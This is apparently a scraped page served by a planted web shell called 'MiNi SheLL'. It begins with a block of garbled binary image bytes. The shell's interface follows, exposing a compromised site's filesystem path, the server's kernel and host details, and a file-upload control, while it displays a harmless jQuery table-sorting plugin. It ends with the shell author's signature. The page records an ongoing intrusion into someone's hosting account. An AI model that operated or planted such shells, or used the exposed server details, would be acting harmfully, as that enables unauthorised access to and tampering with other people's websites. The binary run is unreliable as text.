JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /hermes/bosweb01/sb_web/b2920/davidportillo.com/bienvenidoaparaguay/phpMboreMin/js/jquery/

Linux boscustweb5004.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : //hermes/bosweb01/sb_web/b2920/davidportillo.com/bienvenidoaparaguay/phpMboreMin/js/jquery/jquery.sortableTable.js

/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * @fileoverview    A jquery plugin that allows drag&drop sorting in tables.
 *                  Coded because JQuery UI sortable doesn't support tables. Also it has no animation
 *
 * @name            Sortable Table JQuery plugin
 *
 * @requires    jQuery
 *
 */

/* Options:

$('table').sortableTable({
    ignoreRect: { top, left, width, height }  - relative coordinates on each element. If the user clicks 
                                               in this area, it is not seen as a drag&drop request. Useful for toolbars etc.
    events: {
       start: callback function when the user starts dragging
       drop: callback function after an element has been dropped
    }
})
*/

/* Commands:

$('table').sortableTable('init')      - equivalent to $('table').sortableTable()
$('table').sortableTable('refresh')   - if the table has been changed, refresh correctly assigns all events again
$('table').sortableTable('destroy')   - removes all events from the table

*/ 

/* Setup: 

  Can be applied on any table, there is just one convention. 
  Each cell (<td>) has to contain one and only one element (preferably div or span) 
  which is the actually draggable element.
*/
(function($) {
	jQuery.fn.sortableTable = function(method) {
	
		var methods = {
			init : function(options) {
				var tb = new sortableTableInstance(this, options);
				tb.init();
				$(this).data('sortableTable',tb);
			},
			refresh : function( ) { 
				$(this).data('sortableTable').refresh();
			},
			destroy : function( ) { 
				$(this).data('sortableTable').destroy();
			}
		};

		if ( methods[method] ) {
			return methods[method].apply( this, Array.prototype.slice.call( arguments, 1 ));
		} else if ( typeof method === 'object' || ! method ) {
			return methods.init.apply( this, arguments );
		} else {
			$.error( 'Method ' +  method + ' does not exist on jQuery.sortableTable' );
		}    
	
		function sortableTableInstance(table, options) {
			var down = false;
			var	$draggedEl, oldCell, previewMove, id;
			
			if(!options) options = {};
			
			/* Mouse handlers on the child elements */
			var onMouseUp = function(e) { 
				dropAt(e.pageX, e.pageY); 
			}
			
			var onMouseDown = function(e) {
				$draggedEl = $(this).children();
				if($draggedEl.length == 0) return;
				if(options.ignoreRect && insideRect({x: e.pageX - $draggedEl.offset().left, y: e.pageY - $draggedEl.offset().top}, options.ignoreRect)) return;
				
				down = true;
				oldCell = this;
				//move(e.pageX,e.pageY);
				
				if(options.events && options.events.start)
					options.events.start(this);

				return false;
			}
			
			var globalMouseMove = function(e) {
				if(down) {
					move(e.pageX,e.pageY);

					if(inside($(oldCell), e.pageX, e.pageY)) {
						if(previewMove != null) {
							moveTo(previewMove);
							previewMove = null;					
						}
					} else
						$(table).find('td').each(function() {
							if(inside($(this), e.pageX, e.pageY)) {
								if($(previewMove).attr('class') != $(this).children().first().attr('class')) {
									if(previewMove != null) moveTo(previewMove);
									previewMove = $(this).children().first();
									if(previewMove.length > 0)
										moveTo($(previewMove), { pos: {
											top: $(oldCell).offset().top - $(previewMove).parent().offset().top,
											left: $(oldCell).offset().left - $(previewMove).parent().offset().left
										} });
								}
								
								return false;
							}
						});
				}
				
				return false;
			}
			
			var globalMouseOut = function() {
				if(down) {
					down = false;
					if(previewMove) moveTo(previewMove);
					moveTo($draggedEl);
					previewMove = null;
				}
			}
			
			// Initialize sortable table
			this.init = function() {
				id = 1;
				// Add some required css to each child element in the <td>s
				$(table).find('td').children().each(function() {
					// Remove any old occurences of our added draggable-num class
					$(this).attr('class',$(this).attr('class').replace(/\s*draggable\-\d+/g,''));
					$(this).addClass('draggable-' + (id++));
				});
				
				// Mouse events
				$(table).find('td').bind('mouseup',onMouseUp);
				$(table).find('td').bind('mousedown',onMouseDown);

				$(document).mousemove(globalMouseMove);
				$(document).bind('mouseleave', globalMouseOut);
			}
			
			// Call this when the table has been updated
			this.refresh = function() {
				this.destroy();
				this.init();
			}
			
			this.destroy = function() {
				// Add some required css to each child element in the <td>s
				$(table).find('td').children().each(function() {
					// Remove any old occurences of our added draggable-num class
					$(this).attr('class',$(this).attr('class').replace(/\s*draggable\-\d+/g,''));
				});
				
				// Mouse events
				$(table).find('td').unbind('mouseup',onMouseUp)
				$(table).find('td').unbind('mousedown',onMouseDown);
					
				$(document).unbind('mousemove',globalMouseMove);
				$(document).unbind('mouseleave',globalMouseOut);
			}
			
			function switchElement(drag, dropTo) {
				var dragPosDiff = { 
					left: $(drag).children().first().offset().left - $(dropTo).offset().left, 
					top:  $(drag).children().first().offset().top - $(dropTo).offset().top 
				};
				
				var dropPosDiff = null;
				if($(dropTo).children().length > 0) {
					dropPosDiff = {
						left: $(dropTo).children().first().offset().left - $(drag).offset().left,
						top:  $(dropTo).children().first().offset().top - $(drag).offset().top 
					};
				}
				
				/* I love you append(). It moves the DOM Elements so gracefully <3 */
				// Put the element in the way to old place
				$(drag).append($(dropTo).children().first()).children()
					.stop(true,true)
					.bind('mouseup',onMouseUp);
				
				if(dropPosDiff)
					$(drag).append($(dropTo).children().first()).children()
						.css('left',dropPosDiff.left + 'px')
						.css('top',dropPosDiff.top + 'px');
					
				// Put our dragged element into the space we just freed up
				$(dropTo).append($(drag).children().first()).children()
					.bind('mouseup',onMouseUp)
					.css('left',dragPosDiff.left + 'px')
					.css('top',dragPosDiff.top + 'px');
				
				moveTo($(dropTo).children().first(), { duration: 100 });
				moveTo($(drag).children().first(), { duration: 100 });
					
				if(options.events && options.events.drop) {
					// Drop event. The drag child element is moved into the drop element
					// and vice versa. So the parameters are switched.
					
					// Calculate row and column index
					colIdx = $(dropTo).prevAll().length;
					rowIdx = $(dropTo).parent().prevAll().length;
					
					options.events.drop(drag,dropTo, { col: colIdx, row: rowIdx });
				}
			}
			
			function move(x,y) {
				$draggedEl.offset({
					top: Math.min($(document).height(), Math.max(0, y - $draggedEl.height()/2)), 
					left: Math.min($(document).width(), Math.max(0, x - $draggedEl.width()/2))
				});
			}
			
			function inside($el, x,y) {
				var off = $el.offset();
				return y >= off.top && x >= off.left && x < off.left + $el.width() && y < off.top + $el.height();
			}
			
			function insideRect(pos, r) {
				return pos.y > r.top && pos.x > r.left && pos.y < r.top + r.height && pos.x < r.left + r.width;
			}
			
			function dropAt(x,y) {
				if(!down) return;
				down = false;
				
				var switched = false;
				
				$(table).find('td').each(function() {
					if($(this).children().first().attr('class') != $(oldCell).children().first().attr('class') && inside($(this), x, y)) {
						switchElement(oldCell, this);
						switched = true;
						return;
					}
				});

				if(!switched) {
					if(previewMove) moveTo(previewMove);
					moveTo($draggedEl);
				}
				
				previewMove = null;
			}
			
			function moveTo(elem, opts) {
				if(!opts) opts = {};
				if(!opts.pos) opts.pos = { left: 0, top: 0 };
				if(!opts.duration) opts.duration = 200;
				
				$(elem).css('position','relative');
				$(elem).animate({ top: opts.pos.top, left: opts.pos.left }, {
					duration: opts.duration,
					complete: function() {
						if(opts.pos.left == 0 && opts.pos.top == 0) {
							$(elem)
								.css('position','')
								.css('left','')
								.css('top','');
						}
					}
				});
			}
		}
	}
	
})( jQuery );

Creat By MiNi SheLL
Email: devilkiller@gmail.com